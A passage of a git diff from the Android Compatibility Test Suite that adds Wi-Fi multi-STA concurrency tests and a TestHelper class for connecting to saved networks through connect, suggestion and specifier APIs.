+     * 2. Simulate connection failure to a restricted network using suggestion API & restricted net
+     *    capability (need corresponding restricted bit set in suggestion for platform to connect).
+     * 3. Verify that only 1 connection is active.
+     */
+    @Test
+    public void
+        testConnectToSuggestionFailureWithOemPrivateNetCapabilityWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PRIVATE));
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
new file mode 100644
index 0000000..6ed47b3
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -0,0 +1,304 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.NetworkRequest;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isStaConcurrencyForLocalOnlyConnectionsSupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
+ * {@link NetworkRequest} & passed into {@link ConnectivityManager#requestNetwork(NetworkRequest,
+ * ConnectivityManager.NetworkCallback)} along with a concurrent internet connection using
+ * {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestBase {
+    private static final String TAG = "MultiStaConcurrencyWifiNetworkSpecifierTest";
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetworkForPeerToPeer;
+    private WifiConfiguration mTestNetworkForInternetConnection;
+    private ConnectivityManager.NetworkCallback mNetworkCallback;
+    private ConnectivityManager.NetworkCallback mNrNetworkCallback;
+    private TestHelper mTestHelper;
+
+    private static final int DURATION = 10_000;
+    private static final int DURATION_UI_INTERACTION = 25_000;
+    private static final int DURATION_NETWORK_CONNECTION = 60_000;
+    private static final int DURATION_SCREEN_TOGGLE = 2000;
+    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported. Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
+        PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mTestHelper = new TestHelper(mContext, mUiDevice);
+
+        // skip the test if WiFi is not supported
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+        // skip if multi STA not supported.
+        assumeTrue(mWifiManager.isStaConcurrencyForLocalOnlyConnectionsSupported());
+
+        assertWithMessage("Please enable location for this test!")
+                .that(mContext.getSystemService(LocationManager.class).isLocationEnabled())
+                .isTrue();
+
+        // turn screen on
+        mTestHelper.turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+        // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+        // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        List<WifiConfiguration> matchingNetworksWithBssid =
+                TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertWithMessage("Need at least 2 saved network bssids in range")
+                .that(matchingNetworksWithBssid.size()).isAtLeast(2);
+        // Pick any 2 bssid for test.
+        mTestNetworkForPeerToPeer = matchingNetworksWithBssid.get(0);
+        // Try to find a bssid for another saved network in range. If none exists, fallback
+        // to using 2 bssid's for the same network.
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.stream()
+                .filter(w -> !w.SSID.equals(mTestNetworkForPeerToPeer.SSID))
+                .findAny()
+                .orElse(matchingNetworksWithBssid.get(1));
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        }
+        if (mNrNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
+        }
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        mTestHelper.turnScreenOff();
+    }
+
+    private void testSuccessfulConnectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) throws Exception {
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                network, specifier, false);
+    }
+
+    private void testUserRejectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) throws Exception {
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                network, specifier, true);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using peer to peer API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToPeerPeerNetworkWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using peer to peer API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
+        // First trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Now trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Trigger connect to a network using peer to peer API which is rejected by user.
+     * 3. Verify that only one connection is active.
+     */
+    @Test
+    public void testPeerToPeerConnectionRejectWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testUserRejectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there is only 1 wifi connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
index 0dfeda8..98ba803 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ScanResultTest.java
@@ -242,6 +242,7 @@
         }
    }
 
+    @VirtualDeviceNotSupported
     public void testScanResultTimeStamp() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
new file mode 100644
index 0000000..0ebb562
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -0,0 +1,795 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.Manifest.permission.CONNECTIVITY_INTERNAL;
+import static android.Manifest.permission.NETWORK_SETTINGS;
+import static android.net.ConnectivityManager.NetworkCallback.FLAG_INCLUDE_LOCATION_INFO;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.net.wifi.WifiNetworkSuggestion;
+import android.os.WorkSource;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.core.os.BuildCompat;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Class to hold helper methods that are repeated across wifi CTS tests.
+ */
+public class TestHelper {
+    private static final String TAG = "WifiTestHelper";
+
+    private final Context mContext;
+    private final WifiManager mWifiManager;
+    private final ConnectivityManager mConnectivityManager;
+    private final UiDevice mUiDevice;
+
+    private static final int DURATION_MILLIS = 10_000;
+    private static final int DURATION_NETWORK_CONNECTION_MILLIS = 40_000;
+    private static final int DURATION_SCREEN_TOGGLE_MILLIS = 2000;
+    private static final int DURATION_UI_INTERACTION_MILLIS = 25_000;
+    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+    public TestHelper(@NonNull Context context, @NonNull UiDevice uiDevice) {
+        mContext = context;
+        mWifiManager = context.getSystemService(WifiManager.class);
+        mConnectivityManager = context.getSystemService(ConnectivityManager.class);
+        mUiDevice = uiDevice;
+    }
+
+    public void turnScreenOn() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE_MILLIS);
+    }
+
+    public void turnScreenOff() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE_MILLIS);
+    }
+
+    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+
+        TestScanResultsCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onScanResultsAvailable() {
+            onAvailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Loops through all the saved networks available in the scan results. Returns a list of
+     * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+     *
+     * Note:
+     * a) If there are more than 2 networks with the same SSID, but different credential type, then
+     * this matching may pick the wrong one.
+     *
+     * @param wifiManager WifiManager service
+     * @param savedNetworks List of saved networks on the device.
+     */
+    public static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+            @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+        if (savedNetworks.isEmpty()) return Collections.emptyList();
+        List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+            // Trigger a scan to get fresh scan results.
+            TestScanResultsCallback scanResultsCallback =
+                    new TestScanResultsCallback(countDownLatch);
+            try {
+                wifiManager.registerScanResultsCallback(
+                        Executors.newSingleThreadExecutor(), scanResultsCallback);
+                wifiManager.startScan(new WorkSource(myUid()));
+                // now wait for callback
+                assertThat(countDownLatch.await(DURATION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            } catch (InterruptedException e) {
+            } finally {
+                wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+            }
+            List<ScanResult> scanResults = wifiManager.getScanResults();
+            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            for (ScanResult scanResult : scanResults) {
+                WifiConfiguration matchingNetwork = savedNetworks.stream()
+                        .filter(network -> TextUtils.equals(
+                                scanResult.SSID, WifiInfo.sanitizeSsid(network.SSID)))
+                        .findAny()
+                        .orElse(null);
+                if (matchingNetwork != null) {
+                    // make a copy in case we have 2 bssid's for the same network.
+                    WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+                    matchingNetworkCopy.BSSID = scanResult.BSSID;
+                    matchingNetworksWithBssids.add(matchingNetworkCopy);
+                }
+            }
+            if (!matchingNetworksWithBssids.isEmpty()) break;
+        }
+        return matchingNetworksWithBssids;
+    }
+
+    /**
+     * Convert the provided saved network to a corresponding suggestion builder.
+     */
+    public static WifiNetworkSuggestion.Builder
+            createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSuggestion.Builder suggestionBuilder = new WifiNetworkSuggestion.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(network.SSID))
+                .setBssid(MacAddress.fromString(network.BSSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                suggestionBuilder.setWpa2Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                suggestionBuilder.setWpa3Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            suggestionBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        suggestionBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return suggestionBuilder;
+    }
+
+
+    /**
+     * Convert the provided saved network to a corresponding specifier builder.
+     */
+    public static WifiNetworkSpecifier.Builder createSpecifierBuilderWithCredentialFromSavedNetwork(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(network.SSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                specifierBuilder.setWpa2Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                specifierBuilder.setWpa3Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return specifierBuilder;
+    }
+
+    /**
+     * Convert the provided saved network to a corresponding specifier builder.
+     */
+    public static WifiNetworkSpecifier.Builder
+            createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        return createSpecifierBuilderWithCredentialFromSavedNetwork(network)
+                .setBssid(MacAddress.fromString(network.BSSID));
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+        public boolean onUnavailableCalled = false;
+        public NetworkCapabilities networkCapabilities;
+
+        TestNetworkCallback(@NonNull CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        TestNetworkCallback(@NonNull CountDownLatch countDownLatch, int flags) {
+            super(flags);
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onAvailable(Network network) {
+            onAvailableCalled = true;
+        }
+
+        @Override
+        public void onCapabilitiesChanged(Network network,
+                NetworkCapabilities networkCapabilities) {
+            this.networkCapabilities = networkCapabilities;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            onUnavailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private static TestNetworkCallback createTestNetworkCallback(
+            @NonNull CountDownLatch countDownLatch) {
+        if (BuildCompat.isAtLeastS()) {
+            // flags for NetworkCallback only introduced in S.
+            return new TestNetworkCallback(countDownLatch, FLAG_INCLUDE_LOCATION_INFO);
+        } else {
+            return new TestNetworkCallback(countDownLatch);
+        }
+    }
+
+    @NonNull
+    private WifiInfo getWifiInfo(@NonNull NetworkCapabilities networkCapabilities) {
+        if (BuildCompat.isAtLeastS()) {
+            // WifiInfo in transport info, only available in S.
+            return (WifiInfo) networkCapabilities.getTransportInfo();
+        } else {
+            return mWifiManager.getConnectionInfo();
+        }
+    }
+
+    private static void assertConnectionEquals(@NonNull WifiConfiguration network,
+            @NonNull WifiInfo wifiInfo) {
+        assertThat(network.SSID).isEqualTo(wifiInfo.getSSID());
+        assertThat(network.BSSID).isEqualTo(wifiInfo.getBSSID());
+    }
+
+    private static class TestActionListener implements WifiManager.ActionListener {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onSuccessCalled = false;
+        public boolean onFailedCalled = false;
+
+        TestActionListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onSuccess() {
+            onSuccessCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onFailure(int reason) {
+            onFailedCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+     * WifiConfiguration, WifiManager.ActionListener)}
+     *
+     * @param network saved network from the device to use for the connection.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithConnect(
+            @NonNull WifiConfiguration network) throws Exception {
+        CountDownLatch countDownLatchAl = new CountDownLatch(1);
+        CountDownLatch countDownLatchNr = new CountDownLatch(1);
+        TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+        TestNetworkCallback testNetworkCallback = createTestNetworkCallback(countDownLatchNr);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a callback for wifi network.
+            mConnectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                            .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                            // Needed to ensure that the restricted concurrent connection does not
+                            // match this request.
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PAID)
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PRIVATE)
+                            .build(),
+                    testNetworkCallback);
+            // Trigger the connection.
+            mWifiManager.connect(network, actionListener);
+            // now wait for action listener callback
+            assertThat(countDownLatchAl.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            // check if we got the success callback
+            assertThat(actionListener.onSuccessCalled).isTrue();
+
+            // Wait for connection to complete & ensure we are connected to the saved network.
+            assertThat(countDownLatchNr.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(testNetworkCallback.onAvailableCalled).isTrue();
+            final WifiInfo wifiInfo = getWifiInfo(testNetworkCallback.networkCapabilities);
+            assertConnectionEquals(network, wifiInfo);
+            if (BuildCompat.isAtLeastS()) {
+                // User connections should always be primary.
+                assertThat(wifiInfo.isPrimary()).isTrue();
+            }
+        } catch (Throwable e /* catch assertions & exceptions */) {
+            // Unregister the network callback in case of any failure (since we don't end up
+            // returning the network callback to the caller).
+            try {
+                mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+            } catch (IllegalArgumentException ie) { }
+            throw e;
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+        return testNetworkCallback;
+    }
+
+    /**
+     * Tests the entire connection success flow using the provided suggestion.
+     *
+     * Note: The caller needs to invoke this after acquiring shell identity.
+     *
+     * @param network saved network from the device to use for the connection.
+     * @param suggestion suggestion to use for the connection.
+     * @param executorService Excutor service to run scan periodically (to trigger connection).
+     * @param restrictedNetworkCapabilities Whether this connection should be restricted with
+     *                                    the provided capability.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithSuggestionWithShellIdentity(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
+            @NonNull ScheduledExecutorService executorService,
+            @NonNull Set<Integer> restrictedNetworkCapabilities) throws Exception {
+        return testConnectionFlowWithSuggestionInternal(
+                network, suggestion, executorService, restrictedNetworkCapabilities, true);
+    }
+
+    /**
+     * Tests the entire connection success flow using the provided suggestion.
+     *
+     * Note: The helper method drops the shell identity, so don't use this if the caller already
+     * adopted shell identity.
+     *
+     * @param network saved network from the device to use for the connection.
+     * @param suggestion suggestion to use for the connection.
+     * @param executorService Excutor service to run scan periodically (to trigger connection).
+     * @param restrictedNetworkCapabilities Whether this connection should be restricted with
+     *                                    the provided capability.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithSuggestion(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
+            @NonNull ScheduledExecutorService executorService,
+            @NonNull Set<Integer> restrictedNetworkCapabilities) throws Exception {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(NETWORK_SETTINGS, CONNECTIVITY_INTERNAL);
+            return testConnectionFlowWithSuggestionWithShellIdentity(
+                    network, suggestion, executorService, restrictedNetworkCapabilities);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Tests the connection failure flow using the provided suggestion.
+     *
+     * @param network saved network from the device to use for the connection.
+     * @param suggestion suggestion to use for the connection.
+     * @param executorService Excutor service to run scan periodically (to trigger connection).
+     * @param restrictedNetworkCapabilities Whether this connection should be restricted with
+     *                                    the provided capability.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFailureFlowWithSuggestion(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
